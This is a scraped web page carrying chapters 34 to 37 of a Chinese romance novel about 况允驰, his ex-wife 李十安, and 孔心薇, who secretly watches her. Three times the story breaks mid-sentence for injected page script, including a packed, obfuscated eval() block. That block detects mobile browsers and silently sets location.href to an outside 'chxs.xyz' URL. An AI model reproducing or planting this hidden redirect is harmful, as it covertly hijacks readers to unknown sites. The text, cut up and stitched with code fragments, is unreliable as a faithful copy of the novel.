$(''.inform'').remove(); $(''#content'').append('' > 孔心薇站在远处观望,“左边是美食,右边是下午茶。”她问况允驰,“你喜欢吃什么?” “都还行。” 孔心薇换了一种问法,“那你有什么推荐的?” 况允驰想了下,“他们说砂锅菜和潮汕牛肉还不错。” “潮汕牛肉?我也喜欢。”孔心薇叹了一口气,“可惜已经吃过午饭了,晚上又得去舅舅家。那哪天有空,你陪我去尝尝怎么样?” 况允驰点头,“嗯,哪天约几个朋友一起。” 孔心薇心情稍微愉悦了一些,走起路来脚步轻盈。 他们又漫步了些许时候,不知不觉走到了景和生物检验公司的楼下。 孔心薇抬头看玻璃幕墙包裹的公司大楼,“这是我们的兄弟公司吧?” 等了几秒,没有等到况允驰的回答。孔心薇回头,发现况允驰正盯着这栋大楼出神。 孔心薇清嗓,加大一点音量,重复一遍,“兄弟公司,对吧?” 况允驰这才回神,“嗯。” 孔心薇感慨,“真气派。”她没有要靠近仔细参观的意思,反而朝反方向迈了几步。“走,请你喝奶茶。”孔心薇说道,“我想喝了。” “嗯。” 况允驰跟随孔心薇,慢慢走远。只是才走出一小段距离,况允驰又一次回头,最后再看了一眼那栋大楼。 *** 孔心薇搬家,也是找的况允驰帮忙。 她买了好些大纸箱,用来装她的行李。就因为纸箱大,装的东西也多,重量自然不容小觑。搬家公司只负责把纸箱搬进屋内,至于具体哪只纸箱搬进哪个屋,就得况允驰上手了。 “这两个放卧室,这两个放厨房,这三就放客厅也行。”孔心薇叮嘱。 况允驰来回搬纸箱,把孔心薇需要的箱子摆放得整整齐齐。直至把纸箱搬完,把一切安顿好,况允驰缓了口气,径直走向玄关换鞋。 孔心薇跟到玄关,“这就要走了?这个点也该吃晚饭了,留下吃饭?” 况允为系上鞋带,“不了。” 孔心薇又多问了一句,“不用做,我点外卖,很快就能到的。” “你吃吧,吃了好好休息。” 况允驰跨出了门,单手扶着门框,和孔心薇告别。他正准备关门,手机忽然传来一阵震动。他掏出手机,看到来电号码时,愣了一下。 竟然是李十安打来的电话。 34. 下雨 七月,盛夏,晚风也带着炎热的气息。 况允驰到达了李十安家的小区门外,将车停在路边。他下了车,用眼光四处搜寻李十安的身影。忽然听到了附近的一处呼喊,“况——” 回头,况允驰看见李十安正稍显吃力地抱着一个纸箱,脚步缓慢地朝他走来。他大步走上前去,接过李十安怀里的纸箱,“我来。” “没事,小事。”李十安口头说着小事而已,实际偷偷甩了甩酸痛的胳膊。她跟在况允驰身后,走到车旁,看着况允驰把纸箱放进后备箱。 况允驰转身,问道,“一起吃个饭?” “这个点?”李十安看了眼手机时间,八点,她六点就吃晚饭了。她反问,“你还没吃饭?” 况允驰估量李十安的模样,应该是已经吃过饭了,他便也回答,“吃过了。” 李十安笑道,“那下次我请你,当作给你接风。”她仰头,借着路灯灯光,观察况允驰,“你好像瘦了。” 况允驰顿了下,“还好。”他看向她的眼睛,轻声问了句,“你呢?一切都好?” 李十安笑了笑,应道,“嗯,一切都好。” *** 之前觉得园区不算小,占地面积大,逛一圈也得花上半天时间。但自从和况允驰重逢后,李十安又感觉园区莫名变得很小,因为她总是会遇见况允驰。 上午会遇见。 上班,李十安先去了一趟景和总部,提交研讨会的资料,再从总部返回景和检验公司。 李十安走在园区内的柏油小路上。听到身后有轿车行驶的声响,李十安有意靠边挪了两步,走在人行道上。可那辆黑武士C63并没有加速从李十安身旁驶过,反而降低车速,和李十安步行的速度保持一致。 “十安。” 李十安侧头,看见况允驰打开着车窗,透过车窗向李十安问候。李十安确认了下时间,上午九点半。她问道,“你现在才来上班?” “嗯,路上耽搁了一会儿。” 李十安笑道,“迟到了半小时,举报你。” 况允驰伸出食指,搭在唇边,“嘘。”他停下了车,从副驾驶座上提起两袋坚果乳酪面包,透过副驾驶车窗递给李十安,“贿赂你,别举报我。” 平白无故拿别人早餐,李十安其实觉得不大好。但透过纸袋面上的透明部分,看见那面包金黄,带一点焦黑的点缀,实在嘴馋。她便只拿了其中一袋,“成交。” 她与况允驰告别,转身走向右侧的公司大楼。 * 中午会遇见。 到了中午吃饭的时候,李十安端着餐盘,按照顺序排队打菜。侧头时,发现旁边站着的人竟是况允驰。 李十安疑惑不解,“你怎么会在这里?” “听说你们食堂伙食好,我来开开眼界。” 况允驰打菜,看得顺眼的每样都会来一勺,或者端一碗,正常男人的饭量。李十安打菜,看得顺眼地来一点,并且是很惊人的一小点。蒜苔肉丝,夹两根蒜苔和一根肉丝。红烧肉,挑一小块纯瘦的肉。炒豆角,夹了一根半的豆角。辣子鸡,夹一块红辣椒和一块鸡。菠菜鸡蛋,不要鸡蛋只要两根菠菜。一个餐盘五个格子,米饭占一个,菜占一个,剩下三个空格。 况允驰看得惊奇,“你打样品?” 李十安辩驳,“份量少,但是荤素搭配,营养均衡。” “能吃饱?” “我能吃饱的。” 他们继续打菜,况允驰才发现李十安的能吃饱,关键在哪里。李十安餐盘里面剩下的三个格子,一个装满了炸鸡柳,一个装满了炸鸡翅,一个装满了柠檬凤爪。全是可以当做零嘴的小食。 况允驰评价,“你还真是爱憎分明。”喜欢的“垃圾食品”就疯狂塞满,不喜欢的普通菜就只夹一点,表示个意思。 李十安理直气壮,“吃饭嘛,最重要的是吃得开心。” 他们端着餐盘,准备找位置坐下。碰上一行人从他们之间穿过,分散了两人。 李十安先找到空位,回头再寻况允驰时,况允驰已不见了踪影。 况允驰其实看见了李十安。他本来想坐过去的,但忽然收到了一条消息,是时星楠发来的消息:[陪前妻还是陪我?] 况允驰单手回复:[滚。] 时星楠:[他们马上到。嘴上把没把门,我可不保证。] “他们”指的是高西和周森。今天有个医用透明质酸钠修复液的联合研发小组会,一个II类器械项目会议,是在景和制药的第三会议室召开。高西和时星楠作为景和器械的人,被安排跨越半个城市赶来景和制药开会,会议结束后,在门口碰到了周森。 三个人本来是要一起来食堂吃饭的,可周森屁事实在太多,拉肚子拉半个小时。时星楠懒得等,独自先过来。 一踏进食堂,时星楠就看到况允驰,以及他身边的李十安。很难不让聚在一起的几个知情人联想到前夫前妻的关系。 况允驰明白时星楠的担忧。如果继续和李十安坐在一起,说不定会被周森和高西开一些关于前夫前妻的玩笑。 可能会惹出一些不愉快。 于是况允驰特意避开人群走到李十安桌前,放下一罐炖罐汤,“上点真营养。”他放下炖罐汤后便离开了。李十安回头,来往的人群遮掩了视线,她没再看到他的身影。 * 下午会遇见。 下午时候,李十安去奶茶店买奶茶,站在柜台前仰头挑选,“要茉莉龙井,去冰,三分糖。” 话音刚落,李十安的身旁响起了一个男声,“我和她一样。” 李十安寻声望去,看到况允驰正站在她身旁,调出二维码结账。她开玩笑,“学人精。” “你是行家,跟着你买没错的。”况允驰说着话,有意往柜台一旁挪步,待店员弄好后取餐。他问她,“现在喝?” “嗯。” 况允驰插好吸管,把奶茶递给李十安。 他们并排走了一小段路,走到分岔路口,一个要继续直行,一个要左转。 况允驰稍微倾斜奶茶杯,轻轻触碰李十安的杯沿,“上班愉快。” “上班哪有愉快的。”李十安笑着,跟着举起奶茶杯,“应该祝你待会儿下班愉快,以及即将到来的周末愉快。” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14617710|154051||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 况允驰应道,“你也是。” * 周末同样也会遇见。 李十安周末本来不想回园区的,哪有大周末还回园区的道理,她甚至连路过都不想路过园区。偏偏许书妍把吃饭地点定在了园区南区的潮汕牛肉店。 “那家真好吃。”许书妍告诉李十安,“你先去餐厅,我这边弄完就来找你。” 李十安起床,慢慢悠悠地收拾出门,到达餐厅时是六点半的样子。餐厅里已有好些客人。李十安跟随服务员穿梭在厅内,去往预订的座位。路过回廊,李十安意外发现了窗边一个熟悉的身影。 况允驰,以及一个不认识的女生。 心里冒出一个念头,择日不如撞日。李十安还一直记得,她说过要请况允驰吃饭,当作给他接风。可又一直拖延,一直没有实现。这下倒正好,在餐厅碰到况允驰和他的朋友。李十安盘算,不如就一道请客了,好实现承诺。 李十安叫住服务员,“唉,你好。” 她本来想说的是,“我想换到那桌。”但话还没说出口,她偶然看到窗边的画面,似乎有些与众不同。 那女生的眼光,总是落在况允驰身上,笑意盈盈。那样的笑意,不是单纯的朋友间的舒心,而是……爱慕。 李十安产生第六感,意识到他们之间的氛围不简单。 所以如果现在过去加入的话,岂不是不讲眼色地破坏气氛,打扰他们两人? 服务员问李十安,“您需要什么?” 李十安笑了笑,“没什么,走吧。” 她跟着服务员继续走了,走去和况允驰完全相反的方向。 *** 况允驰不知道,李十安曾在餐厅里碰见过他。同时,李十安也不知道,况允驰曾在园区西门碰见过她。 夏天的雨说下就下。淅淅沥沥,路面湿滑。 况允驰没有打伞。只要不是太大的雨,况允驰都没有打伞的习惯。他淋着雨走进园区,没走几步,偶然发现了李十安的身影。李十安也没有打伞,应该是忘了拿伞,只能快步走在雨中,两手遮在头顶,试图躲避雨滴。况允驰朝李十安走了几步,“十安。” 他的声音被雨滴拍打遮盖,消失在半途。 一个男人从后面追来,追上了李十安。一把黑色的雨伞遮挡在李十安头顶,让李十安得以躲避风雨。 况允驰蓦然停下了脚步。 李十安放下手,朝那男人微笑。男人护在李十安身旁,往园区外走,寸步不离。 况允驰竟驻足原地,任由雨滴拍打。 雨越来越大了。 许书妍从另一侧走来,看见了况允驰,头发上全是白色雨滴。“你怎么站在这里?”许书妍有意将伞举高一些,盖住况允驰,“我这伞小,不过还是能将就挤一挤。” 况允驰回过神来,稍弯腰,配合许书妍。他接过了许书妍的伞柄。 许书妍指着远处的咖啡厅,“找个地方先避避雨吧。” 况允驰跟着许书妍走进园区深处。走了几步,况允驰忍不住回头,再向身后看了一眼。 他看得清楚,她上了那个男人的车。 35. 青柠 他们跑到了咖啡馆的屋檐下,在落地窗前歇息躲雨。雨滴密而急,扬起一层朦胧的白茫茫的雾气。 稍有些沉默,只听见雨滴拍打的声音。 许书妍没话找话聊,“天气预报说是小雨,结果小雨下成了大雨。” 说完话,况允驰没给出反应,仍旧是看着雾蒙蒙的远方。刚才李十安和那个男人走过的地方。他终于问了一句,“那个男人……和十安是什么关系?” “哪个男人?给十安撑伞的那个?”许书妍也不明白自己为什么会心虚,说话莫名支支吾吾。她答非所问地应道,“喔,他叫靳瑞。” 靳瑞器械,靳瑞。况允驰其实早已预料,毕竟黑色雨伞上印有显眼的logo,再结合那人的穿着举止,不难猜测他的身份。他问,“他们是怎么认识的?” 许书妍转动伞柄,转去伞面上的些许雨珠。她装作若无其事,“你问这个干什么?” “没什么。”况允驰垂下眼睑,“我先走了。” 说着就要踏出屋檐,似乎是忘记了正在下雨这件事。许书妍慌忙提醒,“你把伞拿去。” “不了,你用。” “我从咖啡馆穿过去,回办公室,用不着伞。” 许书妍强行把伞塞进况允驰手里,她的动作倒是比况允驰动作更快,转身推开玻璃门,钻进了咖啡馆。 *** 回到办公室后。许书妍朝自己的工位走去。起初还以为走错了,因为工位上坐着一个男人。等再走近几步,许书妍发现那个男人原来是周森。 “谁让你坐我位置的?”许书妍质问周森,“起开。” 周森没有让座,只是把座位往旁边滑了一下,又从一侧为许书妍拉来另一条空座椅,反客为主,“坐,别客气。” 许书妍忍住了想要竖中指的冲动,坐了下来。 周森撕开一包青柠味薯片,递给许书妍,意思让许书妍拿一片。许书妍一把夺过整包薯片,抱在怀里。她问道,“你来我们公司干什么?” 周森把手伸进包装袋,拿一片薯片,“陪领导办事。” “还没办完?” “早办完了,领导现在在办公室聊天呢。” 许书妍笑了。领导办事的低效率就是这样来的,办事十分钟,聊天一小时。她咀嚼着薯片,偶然瞥见周森在发微信,回复一个叫作“心薇”的女生。许书妍向来消息灵通,知道这个心薇就是经常在况允驰身边转悠的那个女生,她看到过他们好几次,她感觉他们的关系好像不一般。许书妍试探性问道,“你和这个心薇……关系挺好?” 周森有些得意,“那是,她是我朋友。” 许书妍抑制住翻白眼的冲动,又问,“那况允驰……和她关系也好?” 周森毫无防备地回答,“对,我们仨是互相照顾的关系。” “你们仨……”许书妍嘀咕,“你好像是多余的吧?” 周森没听懂,“什么意思?” “你难道没有感觉到,孔心薇对况允驰有不一样的感情?”许书妍试图描述,“朋友以上。” “不可能。” “你不相信我的第六感?” “不相信。” 周森习惯性地否定许书妍。但转念一想,许书妍的第六感好像确实挺准的。上周星期三的早上,他们去园区里的店铺里买面包,周森想买毛毛虫,许书妍不让,说是她的第六感,总感觉这几个毛毛虫不对劲。周森当然不信许书妍的话,正要伸出夹子去夹,一个戴眼镜的男人怒气冲冲跑回店里,质问店员,“怎么搞的!我刚掰开毛毛虫,就看到一大块残破的透明塑料!脏不脏!” 想起这件事,周森对许书妍的第六感产生了些许动摇。他问,“真的?心薇对允驰真有那个意思?” 许书妍冷笑,“你不是不信么。” “我当然不信!”周森立刻为自己找回面子,辩解道,“反正我敢放话肯定,允驰对心薇真没那个意思。” 作为全程参与者,关于况允驰对孔心薇的态度,周森一清二楚。 两年前,况允驰被安排去意大利,博士后进站。隔了不久,孔心薇同样被安排外派去意大利。况允驰的研究所和孔心薇的公司挨得很近。 孔心薇是在况允驰离开景和生物后才进入公司的,两个人之前并不认识。直到在意大利相遇,他们才正式知晓了彼此。 异国他乡,有了同乡和同事这两层原因,他们自然变得熟络。但也仅仅是熟络而已,没有超过朋友的关系。 时间恰当的时候,他们会一起探讨工作,一起在小镇漫步,一起吃饭。 在吃饭这一点上,孔心薇是最不能适应的。番茄肉酱土豆球,奶油培根蘑菇面,吃一两次觉得新鲜,吃的次数多了,她的中国胃是真有些受不了。 孔心薇向况允驰提议,“要不我们一起做饭吧。” 说这句话的潜台词是,回孔心薇的公寓或者去况允驰的公寓都可以。孔心薇不会做饭,但她会打下手,况允驰需要什么孔心薇就给况允驰什么。两个人相互配合,齐心协力。做的菜也不用太复杂,水煮牛肉,糖醋排骨,豆瓣鱼,茶香鸡,随便弄一弄,都会有怀念的味道,多好。 但是况允驰拒绝了孔心薇的提议,“科研任务重,我没时间弄这些,就吃食堂吧。” 孔心薇后来向周森抱怨,说况允驰是书呆子,没有一点情调。 “但我知道允驰介意的是什么。”周森告诉许书妍,“孤男寡女同处一室,允驰担心这事传出去,闲言碎语,对心薇不大好。” 许书妍舔掉拇指上的青柠味薯片渣子,“这有什么,意大利不是挺open的吗?” 周森辩驳,“但允驰不是个open的人。” 有意限制住关系的进一步发展,况允驰和孔心薇就这样一直维持着不咸不淡的关系,保持着不远不近的距离。 直到周森的加入,他们的关系才有了转变。 一年前,周森也被安排外派去了意大利。并且周森厚着脸皮,非要和况允驰住在同一间公寓里。 周森是个更夸张的中国胃,一天不吃中国菜就浑身难受。孔心薇这时又一次提出了搭伙做饭的想法,周森立马赞成。他们去找况允驰协商,况允驰犹豫了,一时没有拒绝,也没有答应。 后来碰到一个很偶然的机会,他们才知道,原来况允驰和孔心薇的长辈,是旧相识。孔心薇是况为的至交贺谦的远房侄女。 况为打来电话,要况允驰多照顾孔心薇。付雯娜也打来电话,要况允驰多照顾孔心薇。就连贺谦也打来电话,要况允驰多照顾孔心薇。 “心薇一个女孩子独自在国外,还要拜托你多照 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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“是有那么一些小姑娘……甚至以及小伙子。”周森撇撇嘴,“但全被我给拒绝了。”其实是况允驰拜托周森帮忙拒绝的,但周森非要这样说,才更有面子。 许书妍惊讶,“人况允驰的桃花,你凭什么拒绝?” “不然呢?要是把那些外人带回公寓,那我怎么办?”周森也一直郁闷,遇到的那么些人,他们怎么全都老想着睡况允驰。周森一本正经,“能爬上允驰床的人,只能是我。” 许书妍差点要尖叫,“你恶不恶心!” 周森开始了沉浸式解说,“那腹肌质感,那肩膀肌肉……” 许书妍捂住耳朵,“太劲爆的我不听。” 周森越说越起劲,“而且允驰体温好像比别人高半度,特别温暖。身上还有他独特的香香的气味,怎么形容呢?类似松脂。皮肤又白又滑,抱着又暖又香……” 许书妍咋舌,“他就没拒绝你?” 周森撇嘴,“他当然叫我滚了……” 聊得正在兴头上,那边领导走出会议室,许书妍趁机把周森推离椅子,嫌恶地赶走,“滚,我也得叫你滚。” 周森其实意犹未尽,可领导要走,他就不得不走,这才还给许书妍一片清净。 许书妍换回自己的椅子,靠着椅背,抽纸擦干净手指头,习惯性拿起手机,点开了朋友圈。刚一刷,便看见了况允驰和李十安先后转发的链接,是一条关于景和秋季交流会的信息。 况允驰和李十安的头像一上一下紧挨着,是巧合,但也真够巧的。 许书妍不禁暗自感慨,这俩的瓜怎么都让她给吃上了。 36. 红茶 许书妍从周森以往的朋友圈里,找到一张照片,保存在了手机里。 她和李十安早晨去园区外的面馆,两个人一共点三碗面。李十安吃杂酱面,许书妍吃酸菜肉丝面,还剩一碗姜鸭面,留着一起吃。 面条太烫,下不去口。 许书妍右手夹一筷子面条,悬在半空晾晒,左手掏出手机,点开那张照片,递给李十安,“喏,你看这个女生。” 李十安滑动放大照片,看那女生的面孔。 “看着眼熟。”说是眼熟,李十安脑海里只有一点点模糊的印象,却怎么也记不清楚。李十安问,“她怎么了?” “她叫孔心薇,和况允驰关系不一般。” 李十安这才想起来,在潮汕餐厅里,她见到过这个女生,和况允驰一起。李十安笑道,“况允驰这小子,找个女朋友这么漂亮。” 许书妍正吃面,硬生生把面条咬断,含着一口半截面条看着李十安。 “不是,”许书妍咽下面条,“孔心薇不是况允驰女朋友,但是是朋友以上的关系。” “喔——” 李十安应和着,夹一筷子面条,先夹中间部分,再把两头部分全夹起来,一口塞进嘴里。吃得倒是挺香。 但现在好像不是专心吃面条的时候吧。许书妍明明抛出这么一个重磅消息,怎么李十安完全没有反应? 许书妍重新组织语言,“根据我的情报来看,这个孔心薇对况允驰有那方面的心思,但况允驰完全没有,就是很单纯的感情。” 李十安咀嚼着面条,“喔,再这样下去估计也快有了。” 许书妍反驳,“都两年多了,还没有,那就是没有。” “是吗?”李十安问道,“那孔心薇怎么办?” 许书妍反问,“这是你该抓住的重点?” 她无语地推开了酸菜肉丝面,搅拌好姜鸭面,尝了一口,辣得流眼泪,赶紧喝完一整碗豆浆。 李十安不信邪,拉过碗来,也尝了一口姜鸭面,结果同样拉得流眼泪,一口气喝完一整碗豆浆。 许书妍重新打了两碗豆浆,放一碗在李十安面前。她思索着,转换一种方向,重新把话问清楚,“十安,你现在对况允驰是什么感觉?” 李十安想了想,“看见他就觉得很亲切,他像是我的一个认识了很久的朋友。” “一个朋友。”许书妍复述,“只是朋友?其他身份呢?” 李十安又想了想,“前夫?” 许书妍嘀咕,“这倒是没毛病。” 李十安又喝了一口豆浆,回味着许书妍方才这一阵问话,觉得不大对劲。 她问许书妍,“你为什么老是把我、况允驰、孔心薇我们三个人联系在一起?” “有种直觉,”许书妍嬉笑,“就想看看能不能从你身上挖出个三角恋的瓜。” 李十安撇嘴,“吃瓜吃错人了吧!” 许书妍嘿嘿笑着,又吃了一筷子面条,又一次被辣出了眼泪。 *** 李十安去了一趟景和制药,找周森拿两盒质谱基质液。 她刚走出电梯,周森迎面而来,拉着嗓子招呼,“十安妹妹!” “森森。”李十安笑着回应。 就在那一刻,孔心薇停下了脚步。她本打算坐电梯下楼,临时改变了方向,装作复印资料的样子,在附近徘徊。听他们叙旧,试图看清李十安的模样。 李十安和周森聊的都是琐事,没有耽搁太久。李十安准备回公司,坐上电梯原路返回。 孔心薇走到落地窗前,看着楼下李十安离开的背影。没隔多久,周森也来到落地窗前,站在孔心薇身边。孔心薇若有所思,“那个就是李十安?” “嗯。”周森单手贴在窗玻璃上,“她怎么越长越少女了。” 孔心薇眼眸下垂,没有应答。 这边周森仍在喋喋不休地感慨,“她真的长得特别像我高中时候暗恋的女同学,你知道那种感觉吗?阳光明媚,清风吹拂……” 周森侧头,试图寻求孔心薇的认同,却发现孔心薇不知何时已经走远,徒留他一个人愣在原地。他喃喃嘀咕,“这人走路怎么没有声音。” 他又低头,再看了李十安一眼。 李十安莫名觉得后背一阵凉。她回头望去,只望见一整片蔚蓝的玻璃幕墙,以及夕阳反射出的一摊金色碎光。 *** 李十安不知道是不是她的错觉,最近这段时间,她总觉得有一双眼睛在盯着自己。 那天李十安没开车,下班后,她走到园区外的街边打车。打的车距离三公里。李十安一会儿低头看手机导航,一会儿抬头看路边车况。 偶然用余光瞄见,附近的一棵鱼尾葵下,一个女生的目光似乎有意无意总会落在李十安这边。 李十安起初以为,那女生只是因为这边有什么新奇事情,才会这么在意。 可李十安简单环视了一圈,却没发现到底有什么新奇的。 难道她是在看她? 李十安试探性地看回去,想弄清楚到底是什么状况。 天色暗淡,路灯被榕树茂密的树枝遮掩,光线不算明亮,李十安看得不大清晰,看不真切那女生的面容。 只看见那女生的身影朝相反的方向走去,走过非机动车道,等待了十几秒,最后踏上了一辆网约车。 原来也是打车的。 李十安收回目光,明白应该是自己多想了。 *** 下午稍微空闲的时候,李十安偷溜出办公室,散步到南区,顺便去买一杯奶茶。 她站在柜台前,仰头张望菜单。 想按习惯买茉莉龙井的,三分糖,去冰。但是又看到才出的新品,栀香绿茶,奶油顶撒的不是碧根果碎,而是一层翠绿的抹茶粉。李十安心动了。没尝过的总是新鲜的。 她犹豫不决。想守旧,但又想尝新。想尝新,但又怕踩雷。她低头思索,左右为难。 偶然侧头时,李十安察觉落地窗边的角落里,有个女生的视线似乎又落在了她的身上。 她心生警惕,时不时地悄悄回头,查探那道诡异的目光。 最后实在忍不住,她索性直接转身,正面去正视那个偷看的女生。 然而那女生已经低下头,看着是在专心致志地喝奶茶玩手机。 李十安多看了几眼,觉得那女生的身影越看越眼熟。她仔细在脑海里搜寻,第六感显示那女生就是孔心薇。 感觉像,又不敢百分百地肯定。 李十安看过孔心薇的真人,但都是隔着好一段距离看的,并且也没太仔细。所以这次再看真人,李十安有些不大能确定。 看身影和侧脸,或许就是孔心薇?李十安想得出神。 店员轻声提醒道,“您好,请问需要什么?” “啊?”李十安收回视线,指着广告牌,“那要这个新品。” 她扫码付款,让到一边替新来的顾客腾位置。靠在柜台旁时,李十安又一次佯装自然地瞥向了那一边。 那女生已经走了,正从落地窗外走过,只留下一个模糊的侧影。 可能是自己弄错了吧,李十安心想,可能是多想而已。 *** 早晨上班,李十安没来得及去面馆吃面,只好到园区附近的面包店买面包。 她在几个面包中摇摆不定。想吃冰淇淋泡芙,但是个头太大,吃一口好吃,多吃几口肯定腻得慌。想吃空心麻薯,但玻璃柜里摆放的只有南瓜味,不确定能不能吃得惯这个味道。全麦面包是肯定不想吃的,嚼一口无味又干燥的面包,不就水根本咽不下去。 李十安站在左边,选了又选,再慢慢挪到右边。 面包店是中古风格,深棕色的木地板和木柜,连光线也是昏暗的,像是幽静的森林深处。 李十安透过昏暗的光线,视线越过木质玻璃柜,无意间又一次看见了那个熟悉的身影。 好像确实是孔心薇。 孔心薇站在圆顶小台灯旁,看似是在低头认真挑选面包。她手里已经拎了一个面包纸袋,看样子是结过帐了。但或许觉得不够,所以又在选购面包。 李十安努力在脑海里搜索,把前几次看见的身影和眼前这个身影做比对,再把曾经看见过的孔心薇的照片贴上眼前这个人。 应该就是孔心薇。 李十安向孔心薇走了几步。 她想着,她和孔心薇之间有两三个共同好友,又在园区里偶然遇见过那么些次,算来也是种缘分,可以交个朋友。若是孔心薇对李十安没什么印象,也没关系,李十安做个自我介绍,孔心薇也做个自我介绍,一来一回,不就认识了么。 于是李十安径直向孔心薇走去。 孔心薇却忽然转身,直接走出了面包店。她一边想要保持姿态,不显出狼狈出逃的样子,一边又想加快脚步,免得李十安从后面追上来。 她应该不会追上来吧?应该不会来 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14643253|154051||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 找她摊牌吧?应该不会质问她,“为什么总是在偷看我?” 应该不会的。 孔心薇埋头走路,脚步小而急促。心里一个声音在回响。 “原来她就是李十安。” 很早之前就知道李十安的存在了。 在佛罗伦萨的时候,一个很偶然的机会,孔心薇第一次听到了李十安这个名字。 那天下午,孔心薇和况允驰坐在街边咖啡馆,等着正在赶来的周森。等了很久。 周森给的回话一直是,“马上到,还有十分钟。”不知不觉过去了三个十分钟,仍旧是不见人影。 孔心薇坐不住,站起来活动四肢。有时往教堂方向走几步,有时往巷子里瞄一眼,试图寻找周森。 况允驰倒是一直安静坐着的,低头玩手机。 孔心薇走回原位,“这个周森真不靠谱。” 明明在跟况允驰说话,可况允驰却毫无反应。孔心薇好奇,走近了些,眼睛余光看见了况允驰的手机屏幕。 一条朋友圈,一张胶片质感的合照,照片上是站在斑马线旁信号灯下的三个女生。女生们看起来正在往前走,半途侧身回头,看向镜头。错落有致的站位,松弛的神情。很养眼的画面。 可况允驰直接略过了所有,唯独放大照片最左边,看一眼最左边的女生。 速度很快,真的只看了一眼。随后立即退出整个页面,把手机倒扣在桌上。抬头,看着街边来往的人群发呆。 一只博美热情地跑到脚边玩耍,向况允驰示好,然而况允驰并没有礼貌地摸一摸小狗的脑袋,他甚至没有察觉到它的存在。 奇怪的反应。孔心薇不知道到底是为什么。 过了大概五分钟的样子,况允驰重新拿起手机,点开微信。拇指悬在屏幕上方,停顿了五六秒,才终于摁下。 十安。 他在意的人,备注是十安。 孔心薇看得很清楚。原来况允驰之前对对方设置的,一直是[不看她的朋友圈]。他单方面屏蔽掉她,屏蔽掉她的一切。 可是此刻,况允驰犹豫再三,再次摁下了这个按钮。 她的世界对他重新敞开。 看见了她的最近的生活。去演唱会,去音乐节,参加朋友晚宴婚礼抢了一袋子小红包,三天吃了五顿火锅,拄着拐杖哼哧哼哧地夜爬华山,在冷得发抖的山顶等待云海日出。 对她而言代表着诚实而自由的生活方式,看得出来她很开心。 他下意识地笑了下。 孔心薇愣了,有些惊讶。 一直以来,她所认识的况允驰,都是神情冷淡的,眼睛里甚至隐约藏着疲惫。她以为这是他原本的底色,是他所有的性格。然而今天,亲眼见证之后,才发现了一个事实。 他原来是会笑的。即便嘴角上扬的动作很轻微,笑意也能从眼睛里跑出来。 是因为屏幕里的这个女生么。 那晚,等到合适的时候,孔心薇悄悄问了周森一句,“十安是谁?” 李十安。 现在,孔心薇终于明白了,原来她就是李十安。 脑海混乱,一篇混沌,被压得喘不过气来。孔心薇埋头走路,走在园区的小道上。走到一处十字路口,况允驰恰巧从另一个方向走来。 “心薇?” 孔心薇抬头,这才发现了况允驰。她立即露出甜美的笑容,从纸袋里拿出一根红茶碱水棒,递给况允驰,“喏,这个是给你带的。” 况允驰一时没有接。 孔心薇解释,“买一赠一。”她索性把红茶碱水棒塞到况允驰手里,不给况允驰拒绝的机会。她再拿出另一根红茶碱水棒,若无其事地咬了一口。 况允驰不大好继续推辞,将红茶碱水棒拿在手里。 他们一道走在柏油小路上。 孔心薇偶尔会悄悄侧头,偷看况允驰的侧脸。 剑眉星目,真好看。 喉结很突出。 每看一次,就会让她心动一次。 孔心薇机械地咀嚼着面包,嚼不出任何关于甜的滋味,反倒有些许的酸涩。 远处的钟楼响起钟鸣,声音虚无缥缈,像是从遥远云层传来的声音。 “上午九点整。” 孔心薇艰难地咽下了面包。 时间不对。他们相遇的时间不对。 孔心薇心想,如果她比李十安要先遇见况允驰的话,那么在他心里的人,会不会是她。 37. 苏打 景和生物总部的秋季交流会如约而至。 李十安因为要上台做交流发言,在穿着上比平时要稍微隆重一些。 白色缎面衬衫配黑色半身伞裙,稍显正式又不是那么正式,更偏向复古赫本风。 她的一头稍显卷曲的黑色长发原本是披散着的,比较惬意舒适。 被新来的主管田凌昕看到后,强行拉着去做了整改,“头发也得弄个造型。” 田凌昕把李十安拽到工位上,从抽屉里拿出梳子,再拿出两个黑色小夹子,开始给李十安扎一个公主头。 趁着扎头的空隙,田凌昕随口问了下手头项目的情况,“昨天没来得及看,泊舟人医紧急送过来的那个标本是什么来着?” 李十安答复,“肺泡灌洗液。” “检测得怎么样?” “已经全部完成了。” “有毒力因子吗?” “没有。” “耐药基因?” “没有。” “那有什么?” “人体共生微生物群,小韦荣球菌、福赛斯坦纳菌之类的。” “和上次那个很像呐。” “嗯,相似度挺高。” 李十安头上左右两个黑色小夹子感觉不对称,田凌昕取下右边的夹子,重新比划。两根发丝飘到了嘴角,李十安轻轻抹开。 田凌昕接着问,“靶向病原报告寄回去了?” 李十安应答,“嗯,昨天下午寄的,金医生那边着急要,电子版也发过去了。” “这么快。”田凌昕笑了,捏一下李十安的脸颊,“不愧是十安。” 发型弄完了,田凌昕很满意。她隔远了瞧一瞧李十安,倒是又感觉李十安鞋子不大对劲。 黑色的高跟鞋。 虽说也是高跟鞋,但那鞋跟也就三四厘米,不够高也不够细,适合日常,却不适合上台。 